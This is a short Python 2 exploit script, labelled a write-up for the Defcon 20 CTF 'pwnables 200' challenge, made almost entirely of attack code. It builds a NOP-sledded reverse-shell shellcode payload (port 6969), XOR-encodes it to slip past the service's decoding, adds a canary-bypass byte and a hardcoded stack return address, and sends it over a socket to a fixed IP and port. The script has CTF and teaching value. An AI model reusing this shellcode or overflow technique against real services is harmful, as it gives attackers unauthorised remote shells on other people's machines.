#!/bin/python

# exploit write up - pwnables 200 Defcon 20 CTF
# by @_g05u_ NULL Life FTW!
import socket, struct

#jump to shellcode in stack
ret = struct.pack("<I", 0xbfbee2ac)
#reverse shell 6969 http://www.shell-storm.org/shellcode/files/shellcode-676.php
shellcode = "\x31\xc9\x51\x41\x51\x41\x51\x51\x31\xc0\xb0\x61\xcd\x80\x89\x07\x31\xc9\x88\x4f\x04\xc6\x47\x05\x02\xc7\x47\x08\xbe\xe8\xf5\x09\x66\xc7\x47\x06\x1b\x39\x6a\x10\x8d\x47\x04\x50\x8b\x07\x50\x50\x31\xc0\xb0\x62\xcd\x80\x31\xc9\x51\x8b\x07\x50\x50\x31\xc0\xb0\x5a\xcd\x80\x41\x83\xf9\x03\x75\xef\x31\xc9\x51\x51\x31\xc0\xb0\x17\xcd\x80\xeb\x23\x5b\x89\x1f\x31\xc9\x88\x4b\x07\x89\x4f\x04\x51\x8d\x07\x50\x8b\x07\x50\x50\x31\xc0\xb0\x3b\xcd\x80\x31\xc9\x51\x51\x31\xc0\xb0\x01\xcd\x80\xe8\xd8\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41"

shellcode = "\x90" * (512 - len(shellcode) - 100) + shellcode + "\x90" * 100
shellcode = map(lambda x:(ord(x) ^ 0x42), shellcode)
shell_encoded = ''
for s in shellcode:
    shell_encoded += chr(s)


ret = map(lambda x:(ord(x) ^ 0x42), ret)
ret_encoded = ''
for s in ret:
    ret_encoded += chr(s)


s = socket.socket()
s.connect(("140.197.217.155", 8912))
s.send("b74b9d86e6cd3480\n")
print s.recv(1024)
s.send("4200A642\n") #decoded shellcode with xor 0x42
print s.recv(1024)
                    #bypass canarie number in binary
s.send(shell_encoded + "\x4D" + ret_encoded)